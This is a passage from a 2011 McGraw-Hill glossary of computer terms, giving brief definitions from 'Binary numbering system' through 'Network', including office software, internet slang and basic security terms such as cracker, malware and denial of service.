Binary numbering system. A numbering system in which all numbers are represented by various combinations of the digits 0 and 1.
BIOS. See Basic Input/Output System.
Bit (b). An acronym derived from binary digit. The smallest unit of information that can be recognized
by a computer. Bits are combined to represent characters. (See also Byte.)
Bitmap. A method of storing a graphic image as a set of bits in a computer’s memory. To display the
image on the screen, the computer converts the bits into pixels.
Bits per second (bps). A measurement that describes the speed of data transmission between two
pieces of equipment. (See also Transfer rate.)Appendix D • Glossary of Computer Terms D–3
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
BlackBerry. A wireless palmtop computer that is especially helpful to business travelers. It permits
users to send and receive e-mail and view other documents that they have on ﬁle. (See also Wi-Fi.)
Blawg. See Blog.
Bloatware. A program that uses an excessive amount of disk space and memory.
Block. A segment of text that is selected so that it can be moved to another location or processed in
some other way. (See also Block delete; Block move; Cut and paste.)
Block delete. A command to delete (or erase) a segment of text.
Block move. A command to reproduce a segment of text in another place and at the same time erase it
from its original position. (See also Cut and paste.)
Block protect. A command to prevent a page break from occurring within a block of text (for example,
a table). (See also Orphan protection; Widow protection.)
Blog. A blog (short for Web log) is an online diary in which an individual records and publishes his or her
thoughts on one or more subjects. A blog devoted to legal matters is known as a blawg.
Blogger. Someone who creates and maintains an online diary.
Blogosphere. The complete set of blogs on the Internet.
Blook. A blook is a blog that has been turned into a book or an online book that is published on a blog.
Bluetooth. A protocol that permits a wireless exchange of information between computers, cell
phones, and other electronic devices within a radius of about 30 feet.
Board. See Circuit board.
Boilerplate. Standard wording (for example, sentences or paragraphs in form letters or clauses in legal
documents) that is held in storage. When needed, it can be used as is, with minor modiﬁcation, or in combination with new material to produce tailor-made documents.
Bookmark list. See Favorites.
Boot (short for bootstrap). To start a computer and load the operating system to prepare the computer to execute an application.
Bozo ﬁlter. A programthat screens out unwanted e-mail or other messages from individuals or organizations you no longer want to hear from.
bps. See Bits per second.
Bricks-and-clicks. Refers to a traditional business with a Web site. (See also Clicks-to-bricks.)
Bricks-and-mortar. Refers to a traditional business that sells merchandise only in stores. (See also
Clicks-and-mortar.)
Brochureware. A product that is being actively marketed, even though the product is not yet (and may
never be) ready for sale. (See also Vaporware.)
Browser. See Web browser.
B2B. Business-to-business (online transactions).D–4 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
B2C. Business-to-consumer (online transactions).
B2G. Business-to-government (online transactions).
Buffer. A holding area in memory that stores information temporarily. Also called cache.
Bug. A software defect that causes a program to malfunction or cease to operate. Some writers now use
bug to refer to hardware problems as well. (See also Debugging; Glitch.)
Bulletin board system (BBS). An online information system, usually set up by an individual (called a
system operator, or SYSOP) on a nonproﬁt basis for the enjoyment of other individuals with similar interests. (See also Internet.)
Bundled software. Software that is sold along with a computer system; several software programs
that are packaged together (also called software suites).
Burn. To record information on a disc such as a CD-R, a CD-RW, a DVD-R, or a DVD-RW.
Bus. A pathway along which electronic signals travel between the components of a computer system.
Button bar. See Toolbar.
Byte (B). An acronym for binary term. The sequence of bits that represents a character. Each byte has
8 bits.
Cache. See Buffer.
Cancelbot (from cancel robot]. A program that detects spamming in newsgroups and automatically
issues a cancel command. (See also Ham.)
Card. See Circuit board; Adapter.
Carpal tunnel syndrome. A wrist or hand injury caused by using a keyboard for long periods of time.
A type of repetitive strain injury (RSI). (See also Mouse elbow.)
Cathode-ray tube (CRT). See Display screen.
CD-R. Compact disc-recordable.
CD-ROM (pronounced cee-dee-rom). An acronym derived from compact disc-read-only memory. A form
of optical storage. One compact disc can hold up to 250,000 text pages; it can also be used to store
graphics, sound, and video. (See also DVD-ROM.)
CD-RW. Compact disc-rewritable.
Cell. A box or rectangle within a table or spreadsheet where a column and a row intersect; an area in
which information can be entered in the form of text or ﬁgures.
Central processing unit (CPU). The brains of an information processing system; the processing component that controls the interpretation and execution of instructions. (See also Motherboard.)
Character. A single letter, ﬁgure, punctuation mark, or symbol produced by a keystroke on a computer.
Each character is represented by a byte.
Character set. The complete set of characters—alphabetic, numeric, and symbolic—displayable on a
computer. (see also ASCII.)Appendix D • Glossary of Computer Terms D–5
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Character string. A speciﬁed sequence of typed characters, usually representing a word or phrase. A
character string is often used to locate a particular word or phrase wherever it appears in a document so
that it can be automatically replaced with another word or phrase. If a person’s name has been consistently misspelled or a date appears incorrectly in several places, the error can be easily corrected. (See
also Search and replace.)
Characters per inch (cpi). The number of characters in a ﬁxed-pitch font that will ﬁt within 1 inch.
Characters per second (cps). The number of characters printed in 1 second; a measurement frequently
used to describe the speed of a printer.
Chat. A method of communication in which people type text messages to each other, thereby holding a
conversation over a network such as the Internet. (See also Newsgroup.)
Check box. A small box that appears onscreen alongside each option displayed in a dialog box. When
an option is selected, an X or a check mark appears inside the box.
Chip. An integrated circuit used in computers.
Chip jewelry. An obsolete computer.
Circuit board. A board or card that carries the necessary electronic components for a particular
computerfunction (for example, memory). The circuit boards that come with the original equipment perform the standard functions identiﬁed with that type of equipment. Additional circuit boards expand the
kinds of functions that the equipment can perform. Also called a board, a card, or an expansion board.
Clear. A command to erase information.
Click. To quickly press and release a mouse button once while the cursor (mouse pointer) is positioned
over a speciﬁc item on the screen. (See also Double-click.)
Clicks-and-mortar. Refers to a business that sells merchandise online as well as in stores. (See also
Bricks-and-mortar.)
Clicks-to-bricks. Refers to an Internet company that opens stores. (See also Bricks-and-clicks.)
Client/server computing. A network of computers that consists of a ﬁle server (a computer that runs
a database management system) and individual clients (computers that request and process data
obtained from the ﬁle server).
Clipboard. A holding area in memory where information that has been copied or cut (text, graphics,
sound, or video) can be stored until the information is inserted elsewhere. (See also Copy; Cut; Cut and
paste.)
Column. A vertical block of cells in a table or spreadsheet. (See also Row.)
Command. An instruction that causes a program or computerto perform a function. A command may
be given by means of a special keystroke (or series of keystrokes), or the command may be chosen from
a menu.
Commercial online service. See Internet service provider.
Compatibility. The ability of one type of computer, device, data ﬁle, or program to share information or
to communicate with another. (See also ASCII.)
Computer. An electronic device that is capable of (1) accepting, storing, and logically manipulating data
or text that is input and (2) processing and producing output (results or decisions) on the basis of storedD–6 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
programs of instructions. Some computers are also capable of processing graphics, video, and voice
input. Most computers include a keyboard for text entry, a central processing unit, one or more disk
drives, a display screen, and a printer—components referred to as hardware.
Control menu. An onscreen Windows element that appears in a box in the upper left corner of a window. The control menu allows the user the option of adjusting the size of the window, closing or reopening the window, or switching to another window.
Cookie. A small text ﬁle that a Web server stores on a user’s hard drive when the user visits certain
Web sites. A cookie contains all the information that a user has to submit on a ﬁrst visit to a particular
Web site in order to gain access. When a user revisits that Web site, the cookie makes it unnecessary for
the user to enter the same information all over again. The positive aspect of cookies is that they make it
possible for users to take advantage of the convenient “shopping cart” feature of many Web sites. Unfortunately, cookies also make it possible for marketing organizations to monitor users’ browsing patterns;
users then ﬁnd themselves the targets of custom-tailored marketing campaigns.
Copy. To reproduce information elsewhere. The original information remains in place. (See also Cut.)
cpi. See Characters per inch.
cps. See Characters per second.
CPU. See Central processing unit.
Cracker. The preferred term (rather than hacker) used to refer to a computer criminal who penetrates
a computer to steal information or damage the program in some way.
Crash. A malfunction in hardware or software that keeps a computerfrom functioning. (See also Bug;
Glitch.)
CRT. Cathode-ray tube. (See also Display screen.)
Cursor. A special character(usually a blinking underline, dot, or vertical line) that indicates where the
next typed character will appear on the display screen. Also known as the mouse pointer (arrow) or
I-beam pointer. Microsoft Word refers to the cursor as the insertion point. (See also Prompt.)
Cursor positioning. The movement of the cursor on the display screen. Most computers have four
keys to control up, down, left, and right movement. Many computers also permit the use of a mouse to
position the cursor.
Cut. To remove textfrom its original location and place it on a clipboard. (See also Copy; Paste.)
Cut and paste. To move a block of textfrom one place to another.
Cyberspace. A realistic simulation of a three-dimensional world created by a computer system; also
referred to as virtual reality. Now commonly used to refer to the world of the Internet as a whole.
Cybersquatting. Registering a potentially valuable Internet address in the hope of selling it at a proﬁt
later on to an organization for which this address would be ideal.
Cybrarian. The electronic equivalent of a librarian. A person who makes a career of online research and
data retrieval.
Data. Information consisting of letters, numbers, symbols, sound, or images—in a form that can be processed by a computer.
Data compression. A procedure for reducing the volume of data so as to shorten the time needed to
transfer the data or to reduce the amount of space needed to store the data.Appendix D • Glossary of Computer Terms D–7
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Database. A stored collection of information.
Database management system (DBMS). The software needed to establish and maintain a database
and manage the-stored information.
DDE. See Dynamic data exchange.
Dead-tree edition. The paper version of a publication available online.
Debugging. Locating and eliminating defects in a program. (See also Bug.)
Decimal tab. A type of tab that aligns columns of ﬁgures on the decimal point.
Default settings. The preestablished settings (for margins, font, type size, tab stops, and so on) that a
program will follow unless the user changes them.
Delete. A command to erase information in storage.
Denial of service (DoS) attack. A malicious act intended to shut down a Web site or a network by
ﬂooding it with too much information. Users who attempt to visit the site will be denied access.
Descending sort. Sorting records from Z to A or 9 to 0. (See also Ascending sort.)
Desktop. The electronic work area on a display screen.
Desktop computer. A microcomputer that is bigger than a laptop.
Desktop publishing (DTP). A system that processes the text and graphics and, by means of page
layout software and a laser printer, produces high-quality pages suitable for printing or in-house
reproduction.
Dialog box.A message box on the screen that supplies information to—or requests information from—
the user.
Dictionary. A program used to check the spelling of each word entered in the computer.
Digerati. A term referring to the elite group of intellectuals in the computer world (in the same way that
literatirefers to the elite group of intellectuals in the literary world).
Directory. A list of the ﬁles stored on a disk.
Disc. A nonmagnetic storage medium that is used in conjunction with optical technology. (See also
CD-ROM.)
Disk. A random-access, magnetically coated storage medium used to store and retrieve information.
(See also Diskette; Hard disk.)
Disk drive. The component of a computer into which a disk is inserted so that it can be read or written on.
Disk operating system. See DOS.
Diskette. A small, nonrigid disk with limited storage capacity. Also known as a ﬂoppy disk.
Display screen. A device similar to a television screen and used on a computer to display text and
graphics. Also called a video display terminal (VDT) or a monitor.
Distributed processing system. A form of a local area network in which each user has a fully functional computer but all users can share data and application software. The data and software are distributed among the linked computers and not stored in one central computer.D–8 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
DNS. Domain name system.
Document. Any printed business communication—for example, a letter, memo, report, table, or form.
(See also File.)
Documentation. The manuals or guides distributed with hardware or software.
Domain. Typically, a three-letter element in a Web address or an e-mail address. The domain—
commonly referred to as the zone—indicates the type of organization that owns the computer being identiﬁed in the address. For example, .com signiﬁes a commercial organization; .edu signiﬁes an educational
institution. (See ¶1508b for a list of the most common domains.)
DOS (pronounced dahs or doss). An acronym derived from disk operating system. The term refers to
a program that allows the computerto manage the storage of information on disks and controls other
aspects of a computer’s operation.
DoS (pronounced dee-oh-ess). See Denial of service attack. (Note the differences in spelling and pronunciation between DOS and DoS.)
Dot. The period symbol used in e-mail and Web addresses. Always referred to as a dot (never as a
period). Thus the domain name aol.com would be pronounced ay-oh-ell-dot-com. Internet surfers who
spend a lot of time in the .com domain are sometimes referred to as dot communists.
Dot-com. An organization that sells its products or services on a Web site (with a URL endng in .com).
A dot-com that fails to stay in business is referred to as a dot-bomb.
Dot matrix printer. A printerthat uses pins to produce characters made up of small dots. This kind of
printer is generally used by organizations that want to produce form letters or mailing labels economically.
Double-click. To quickly press and release a mouse button twice while the cursor (mouse pointer) is
positioned over a speciﬁc item on the screen. (See also Click.) The expression “Double-click on that”
means “That’s really quite good.”
Download. To transfer information to the user’s computerfrom another computer.
Drag-and-drop editing. A software feature that allows the user to (1) highlight text to be moved and
(2) use a mouse to drag the text to a new location.
DRAM. Dynamic random access memory.
Drop-down menu. See Menu.
DSL. Digital subscriber line. DSL is a high-bandwidth method of connecting to the Internet by means
of telephone lines.
DTP. See Desktop publishing.
Duplexing. A procedure that permits two computers to transmit data to each other simultaneously.
DVD. Digital video disc or digital versatile disc.
DVD-E. Digital video disc-erasable.
DVD-R. Digital video disc-recordable.
DVD-RAM. Digital video disc–random-access memory.
DVD-ROM. Digital video disc–read-only memory.
DVD-RW. Digital video disc–read/write.Appendix D • Glossary of Computer Terms D–9
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Dynamic data exchange (DDE). A technology that permits the user to transfer or paste data from one
application (for example, a spreadsheet) to another (for example, a report). Because of the dynamic link
created by this technology, any change in the data in the original application will be automatically
reﬂected in the data copied in the second application. (See also Object linking and embedding.)
Easter egg. An unexpected image or message that pops up on the display screenwhen the user innocently
enters a secret combination of keystrokes. Programmers playfully code Easter eggs into software and
operating systems as a way of surprising and amusing users engaged in more serious tasks.
E-book. A small reading device that displays downloaded digital text.
Editing. The process of changing information by inserting, deleting, replacing, rearranging, and reformatting. Also known as changing or customizing.
Ellipsis marks. Three spaced dots (. . .) that appear as part of a menu option. Ellipsis marks indicate
that a dialog box will appear if that option is selected.
E-mail (short for electronic mail). The term e-mail refers to the transfer of messages or documents
between users connected by an electronic network. The term is also used to refer to the message that is
being transmitted in this way. The original form—E-mail—is rarely seen except at the beginning of a sentence, and industry professionals now commonly write the word without a hyphen—email. One wit has
suggested replacing the term e-mail with e-pistle.
Emoticon. See Smiley.
Encryption. Coding conﬁdential data so that only a user with the right password can read the data.
Enter. To input data into memory. (See also Type.) Also the name of a key on a computer keyboard.
Escape key. A key that permits the user to leave one segment of a program and move to another.
Ethernet. A type of computer network.
Ethernet card. A circuit board that allows a computer to be connected to a network by cable.
Execute. To perform an action speciﬁed by the user or the program.
Expansion board. See Circuit board.
Expert system. See Artiﬁcial intelligence.
Export. To save information from one computer or program to another.
Extranet. A technology that permits users of one organization’s intranet to enter portions of another
organization’s intranet in order to conduct business transactions or collaborate on joint projects.
E-zine. A magazine published in an electronic format. Also called Webzine.
Face time. Time spent dealing with someone face to face (as opposed to time spent communicating
electronically). Sometimes referred to as facemail. (See also f2f.)
FAQ. Frequently asked question. Pronounced as a word (to rhyme with pack) or as separate letters.
Favorites. A customized list of a user’s favorite Web sites that permits the user to access a particular
Web site with a single command. Also referred to as a bookmark list or a hot list.D–10 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Fax (n.). A shortened form of the word facsimile. A copy of a document transmitted electronically from
one machine to another.
Fax (v.). To transmit a copy of a document electronically.
Fax modem. A device built into or attached to a computer that serves as a facsimile machine and a
modem.
Field. A group of related characters treated as a unit (such as a name); also, the area reserved for the
entry of a speciﬁed piece of information.
File. A collection of information stored electronically and treated as a unit by a computer. Every ﬁle
must have its own distinctive name. (See also File name.)
File name. The name assigned to a file stored on a disk.
File transfer protocol (FTP). A set of guidelines or standards that establish the formatin which ﬁles
can be transmitted from one computer to another.
Firewall. A security system usually consisting of hardware and software that prevents unauthorized
persons from accessing certain parts of a program, database, or network.
Fixed-pitch font. A typeface such as Courier in which each character has exactly the same width
(like this). Also referred to as a monospace font.
Flame (n.). An inﬂammatory e-mail message; one deliberately designed to insult and provoke the recipient. (See also Rave.)
Flame (v.). To send an inﬂammatory message.
Flat-panel display. A type of desktop computer monitor that consists of an LCD in a thin case. A ﬂatpanel display has a much smaller footprint than the traditional CRT.
Floppy disk. See Diskette.
Folder. A storage area on a disk used to organize ﬁles.
Font. A typeface of a certain size and style. Includes all letters of the alphabet, ﬁgures, symbols, and
punctuation marks. (See also Monospace font; Proportional font; ¶1305d for samples.)
Footer. Repetitive information that appears at the bottom (the foot) of every page of a document. A page
number is a common footer. (See also Header.)
Footnote feature. The ability of a program to automatically position footnotes on the same page as the
text they refer to. If the text is moved to another page, any related footnotes will also be transferred to
that page.
Footprint. The amount of space a computer occupies on a ﬂat surface.
Forelash. Negative reactions to a technology not yet in existence but excessively promoted in advance.
Format. The physical speciﬁcations that affect the appearance and arrangement of a document—for
example, margins, spacing, and font.
Forms mode. The ability of a program to store the format of a blank document or form so that it can
later be viewed on the display screen and completed by the user. Once a ﬁll-in has been entered, the
cursor automatically advances to the beginning of the next area to be ﬁlled in. (See also Style sheet;
Template.)Appendix D • Glossary of Computer Terms D–11
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Forum. See Newsgroup.
Freenet. A local network that offers free (or low-cost) access to host computers located in libraries
and to other public-interest groups in the community. A freenet may also offer limited access to the
Internet.
Freeware. Copyrighted software that is available for use without charge. (See also Shareware.)
f2f. Communicating face to face.
FTP. See File transfer protocol.
Function keys. Keys on a keyboard (for example, F1) that give special commands to the computer—
for example, to set margins or tabs.
G or GB. See Gigabyte.
Gamma testing. Third-stage testing of computer products, typically done just before the products are
released for sale. (See also Alpha testing; Beta testing.)
Gateway. A machine that links two networks using different protocols.
Gigabyte. A measurement of the storage capacity of a device. One gigabyte represents 1024
megabytes. This term may be abbreviated as G or GB; however, GB is the clearer abbreviation since G
also stands for the metric preﬁx giga (meaning 1 billion). A gigabyte is often referred to as a “gig.”
Gigahertz (GHz). A measurement used to identify the speed of the central processing unit. One gigahertz is equal to 1 billion cycles per second.
GIGO. Garbage in, garbage out. In other words, your computer output is only as good as your computer
input.
Glitch. A hardware problem that causes a computer to malfunction or crash. (See Bug.)
Global. Describing any function that can be performed on an entire document without requiring individual commands for each use. For example, a global search-and-replace command will instruct the computer to locate a particular word or phrase and replace it with a different word or phrase wherever the
original form occurs in the document.
Gopher. A protocol used for locating and transferring information on the Internet. The use of Gopher
has diminished as the Web’s hypertext transfer protocol (HTTP) has become the dominant protocol.
Graphical user interface (GUI). A visual computer environment that permits the user to click on icons
or select options from a menu.
Graphics. Pictures or images presented or stored using a computer.
Grok. To research and comprehend something in great detail and great depth.
Groupware. Software that lets network users collaborate on a variety of documents.
GUI (pronounced goo-ee). See Graphical user interface.
Hack. To work on an electronic project.
Hacker. A dedicated computer programmer. The term hacker is sometimes used erroneously to refer to
a computer criminal who penetrates and tampers with computer programs or systems. The preferred
term for a computer criminal is cracker.D–12 Part 3 • References
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Ham. A legitimate e-mail message that is blocked because it contains one or more keywords associated
with spam messages.
Handheld computer. A portable computer smaller than a notebook computer. Also called a palmtop
computer.
Hard copy. Text or graphics printed on paper; also called a printout. (See also Soft copy.)
Hard disk. A rigid type of magnetic medium that can store large amounts of information.
Hard hyphen. A hyphen that is a permanent character in a word. A word that contains a hard hyphen
will not be divided at this point if the word comes at the end of a line. (See also Soft hyphen.)
Hard page break. A page-ending code or command inserted by the user that cannot be changed by the
program. A hard page break is often used (1) to prevent a table from being divided between two pages
and (2) to signify that a particular section of a document has ended and the following text should start
on a new page.
Hard return. A command used to end a paragraph, end a short line of text, or insert a blank line in the
text. (See also Soft return.)
Hard space. A space inserted between words in a phrase that should remain together (for example, the
word page and the number, month and day, number and unit of measure). The hard space ensures that the
phrase will not be broken at the end of a line.
Hardware. The physical components of a computer: the central processing unit, the display screen,
the keyboard, the disk drive, the modem, the mouse, and the printer. (See also Software.)
Hardwired. Describes something physically built into a system using hardware, instead of being accomplished by programming.
Header. Repetitive information that appears at the top (the head) of every page of a document. A page
number is a common header. (See also Footer.)
Hit. A single request for information made by a client computer from a Web server. The popularity of a
given Web site is often measured by the number of hits it receives. However, this number can be extremely misleading, since a particular Web page may contain a number of elements, each one of which
will be counted as a hit when a visitor opens that page. Thus the number of hits recorded for a particular
Web page can be signiﬁcantly greater than the actual number of visitors to that page.
Home. The upper left corner of the display screen; the starting position of a page or document.
Home page. The main page for a Web site established by an organization or an individual; it usually
serves as the entrance for a series of related pages.
Host computer. A computer that provides information or a service to other computers on the Internet.
Every host computer has its own unique host name.
Hot key. A keyboard shortcut that allows quick access to a command or menu option.
Hot list. See Favorites.
HTML. See Hypertext markup language.
HTTP. See Hypertext transfer protocol.
Hyperlink. An element in a hypertext document that is highlighted by means of underlining or the use
of a different color. When a user clicks the highlighted element, the user is connected with another
element in the same document or another document.Appendix D • Glossary of Computer Terms D–13
Glossary of
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Hypermedia. An extension of hypertext that integrates audio, video, and graphics with text.
Hypertext. A technology that links text in one part of a document with related text in another part of
the document or in other documents. A user can quickly ﬁnd the related text by clicking on the appropriate keyword, key phrase, icon, or button.
Hypertext markup language (HTML). The formatting language used to establish the appearance of a
Web page.
Hypertext transfer protocol (HTTP). The protocol used on the World Wide Web that permits Web
clients (Web browsers) to communicate with Web servers. This protocol allows programmers to embed
hyperlinks in Web documents, using hypertext markup language.
Hyphenation. The ability of a program to automatically hyphenate and divide words that do not ﬁt at
the end of a line. If the text is later revised so that the divided word no longer begins at the right margin,
the hyphen is automatically removed and the word prints solid. (See also Soft hyphen.)
I-beam pointer. A mouse- or keyboard- controlled cursor that looks like a capital I.
Icon. A symbol (such as a picture of a trash can or a ﬁle folder) that represents a certain function. When
the user clicks on the icon, the appropriate function is executed. (See also Graphical user interface.)
ICQ (from I seek you). An instant messaging service.
IM. See Instant messaging.
Import. To retrieve any text or other information created by one program (for example, images created
by a graphics program) and transfer it to another program (for example, a spreadsheet program).
Indexing. The ability of a program to accumulate a list of words or phrases that appear in a document
(along with their corresponding page numbers) and to print or display the list in alphabetic order.
Information processing. The coordination of people, equipment, and procedures to handle information,
including the storage, retrieval, distribution, and communication of information. The term information
processing embraces the entire ﬁeld of processing words, ﬁgures, graphics, video, and voice input by
electronic means.
Information Superhighway (or I-way). The Internet. Also referred to as the Infobahn (based on the
German term for its network of highways, the Autobahn).
Ink-jet printer. A nonimpact printer that forms characters by spraying tiny, electrically charged ink
droplets on paper.
Input (n.). Information entered into the computer for processing.
Input (v.). To enter information into the computer. (See also Type; Key.)
Input device. A hardware component (such as a mouse, a keyboard, or a microphone) that lets the
user input information.
Insert. To add information to a ﬁle.
Insertion point. See Cursor.
Instant messaging (IM). A chat program that lets people communicate over the Internet in real time.
Integrated circuit.Multiple electronic components combined on a tiny siliconchip.(See alsoMicroprocessor.)D–14 Part 3 • References
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Integrated software. Software that combines in one program a number of functions normally performed by separate programs.
Interface. The electrical connection that links two pieces of equipment so that they can communicate with each other. Also, the software that controls the interaction between the hardware and the
user.
Internesia. Forgetting where one obtained a piece of information on the Internet.
Internet (or Net). A system that links existing computer networks into a worldwide network. The
Internet may be accessed by means of commercial online services (such as America Online) and
Internet service providers.
Internet community. A group of individuals with common interests who frequently exchange ideas on
the Internet.
Internet protocol (IP) address. A unique set of numbers that identiﬁes a computer over a network.
Internet service provider (ISP). An organization that provides access to the Internet for a fee. Companies like America Online are more properly referred to as commercial online services because they offer
many other services in addition to Internet access—for example, news, travel services, and ﬁnancial and
shopping information.
Internet telephony. Another name for Voice over Internet Protocol (VoIP).
Intranet. A private network established by an organization for the exclusive use of its employees.
Firewalls prevent outsiders from gaining access to an organization’s intranet. (See also Extranet.)
I/O. An abbreviation for input/output.
IP address. See Internet Protocol address.
ISP. See Internet service provider.
Java. A programming language designed for programs or applets used over the Internet.
JPEG. J
_
oint Photographic Experts Group. A format for storing complex graphics in compressed form.
The ﬁle extension. jpeg or .jpg indicates that a particular ﬁle uses this format.
Justiﬁcation. Aligning lines of text at the left margin, the right margin, both margins, or the center. Text
aligned at both margins is considered fully justiﬁed. Text aligned only at the left margin is said to have a
ragged right margin. (See also ¶1344g–h.)
K or KB. See Kilobyte.
Kern. To make ﬁne adjustments in the space between any two characters.
Key. To enter characters into the memory of a computer. (Key is being replaced by the word type. See
also Type.)
Keyboard. The device used to enter information into a computer.
Keystroke. The depression of one key on a keyboard.
Keyword. A word or phrase that brieﬂy identiﬁes a document. Keywords serve as the basis for a variety
of computer operations—for example, conducting an online search.
Killer app (short for application). Software that is considered “so great it will blow you away.”Appendix D • Glossary of Computer Terms D–15
Glossary of
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Kilobyte. A measurement of the storage capacity of a device. One kilobyte represents 1024 bytes.
Kilobyte may be abbreviated K or KB; however, KB is the clearer abbreviation since K also stands for the
metric preﬁx kilo (meaning 1000).
Kluge (pronounced klooj). An expedient (but often inelegant) way to solve a problem when time is of
the essence.
LAN. See Network, local area.
Landscape orientation. The positioning of a page so that information is printed across the long dimension of the paper. (See also Portrait orientation.)
Language. The characters and procedures used to write programs that a computer is designed to
understand.
Laptop computer. A portable computer. Also known as a notebook computer.
Laser printer. A nonimpact printer that produces sharper text and graphics than any other type of
printer. (See also Dot matrix printer; Ink-jet printer.)
LCD. See Liquid crystal display.
L33t. The term l33t (pronounced leet) is an alphanumeric expression derived from “elite.” This term is
used to describe a person’s prowess in accessing restricted Web sites. (See also W00t.)
Line or paragraph numbering. The ability of a program to automatically number each line or paragraph sequentially in a document. The line or paragraph numbers can be deleted before the preparation
of the ﬁnal printout.
Line spacing. The ability of a program to automatically change vertical line spacing (for example, from
double to single to double again).
Linux. A type of open source software. When combined with other components, Linux serves as an
increasingly popular operating system that competes with Microsoft Windows.
Liquid crystal display (LCD). A type of monitor typically used on laptop computers or portable
computers. (See also Active matrix display; Flat-panel display.)
Listserv. Any software that manages a mailing list. The most widely used programs are LISTSERV (as
distinct from the generic terms listserv and listserve), Listproc, and Majordomo.
Load. To transfer information or program instructions into a computer’s memory.
Local area network (LAN). See Network, local area.
Log off or log out (v.). To exit or leave a computer system. (See ¶803f.)
Logoff or logout (n.). The process of exiting a computer system.
Log on or log in (v.).Toaccess acomputer system. (See ¶¶802, 803e.)Log ontoandlog intoare not correct.
Logon or login (n.). The process of accessing a computer system.
M or MB. See Megabyte.
Macro. A time-saving feature (like telephone speed dialing) that allows the user to store in memory a
set of keystrokes or commands that will accomplish a certain task.D–16 Part 3 • References
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Macro virus. A type of virus that attaches itself to documents or word processing templates.
Mail merge. The process of taking information from a database and inserting it into a form letter or
other document in order to customize the document for an individual recipient. For example, mail merge
can be used to create the inside address and the salutation for a form letter. (See also Forms mode.)
Mailbomb.A deluge of e-mail messages from one or more sources, deliberately intended to overload the
recipient’s computer and make it crash. A mailbomb is typically sent to punish someone guilty of
spamming or some other serious breach of netiquette.
Mailing list. An e-mail discussion group devoted to one or more speciﬁc topics.
Mainframe. A large computer system.
Malware. Software that disrupts normal computer functions or sends a user’s personal data without
the user’s authorization.
Maximize. A command used in a graphical user interface (GUI) that enlarges a window so that it ﬁlls
a desktop.
Megabyte. A measurement of the storage capacity of a device. One megabyte represents more than
1 million bytes. Megabyte may be abbreviated M or MB; however, MB is clearer since M also stands for
the metric preﬁx mega (meaning 1 million). A megabyte is often referred to as a “meg.”
Megahertz (MHz). A measurement used to identify the speed of the central processing unit. One
megahertz is equal to 1 million cycles per second.
Memory. The part of a computer that stores information. (See also Storage.)
Random-access memory (RAM). The temporary memory that allows information to be stored randomly and accessed quickly and directly (without the need to go through intervening data).
Read-only memory (ROM). The permanent memory of a computer; a set of instructions that has
been built into the computer by the manufacturer and cannot be accessed or changed by the user.
Menu. A list of choices shown on the display screen. For example, a format menu would include such
options as the type style and the type size to be selected. A menu is often referred to as a pull-down menu,
a drop-down menu, or a pop-up menu because it appears onscreen after the user clicks the menu bar or
some other item on the screen.
Menu bar. The bar across the top of the screen or window that displays the names of available menus.
Merge. A command to create one ﬁle by combining information that is stored in two different locations.
For example, a computer can merge the text in a form letter with a mailing list to produce a batch of letters with a different name, address, and salutation on each letter. (See also Mail merge.)
Microcomputer. A small and relatively inexpensive computer, commonly consisting of a display
screen, a keyboard, a central processing unit, one or more disk drives, and a printer, with limited
storage based upon a microprocessor. (See also Desktop computer; Laptop computer.)
Microprocessor. An integrated circuit on a silicon chip that serves as the central processing unit of
a computer.
Middleware. A type of software that connects different applications that were not originally designed
to work together.
Minimize. A command used in a graphical user interface (GUI) that reduces a window to an icon or
a label, usually at the bottom of a desktop.Appendix D • Glossary of Computer Terms D–17
Glossary of
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
MIPS. An acronym derived from millions of instructions per second. Used to measure the speed of a
processor.
Modem.An acronym derived from modulator/demodulator. A device that (1) converts digital signals into
tones for transmission over telephone lines and (2) converts the tones back into digital signals at the receiving end.
Monitor. The display screen of a computer.
Monospace font. See Fixed-pitch font.
Morph (from metamorphosis). To change one image into another by means of digital technology.
Motherboard. The computer’s main circuit board, which contains the central processing unit,
the memory, and expansion slots for additional circuit boards called adapters or cards. (See also
Adapter.)
Mouse. A hand-operated electronic device used to move a cursor or pointer on the display screen.
Mostly used with microcomputers. Referred to in Spanish as el maus. (See also Word of mouse.)
Mouse arrest. To be placed under mouse arrest is to be denied further access to an Internet service
provider or a commercial online service as a result of violating the terms of service.
Mouse elbow. A repetitive strain injury (similar to tennis elbow) that is caused by repeatedly using a
mouse. (See also Carpal tunnel syndrome.)
Mouse potato. A person who sits glued to a computer screen (in the same way that a couch potato sits
glued to a TV screen).
Mousetrapping. Blocking someone’s exit from a Web site.
MS-DOS (pronounced em-ess-dahs or -doss). Derived from Microsoft disk operating system. An operating system used on the ﬁrst IBM and IBM-compatible microcomputers.
Multimedia. The use of several types of media (such as text, graphics, animation, sound, and video) in
a document or an application.
Multitasking. The ability of a computer to execute more than one program at a time. The derivative
term “multislacking” means playing games at the computer instead of working.
Net. See Internet.
Netiquette.A set of guidelines for formatting and composing e-mail messages. (See also ¶¶1375–1389.)
Netizen. A “citizen” of the Net; an active participant in the Internet community. Netizens in general are
sometimes referred to as netkind.
Network. A system of interconnected computers. (See also Notwork; Sneakernet.)
Local area networks (LANs) use cable to connect a number of computers within the same location
or in close proximity.
Wide area networks (WANs) use telephone lines or other telecommunications devices to link
computers in widely separated locations.
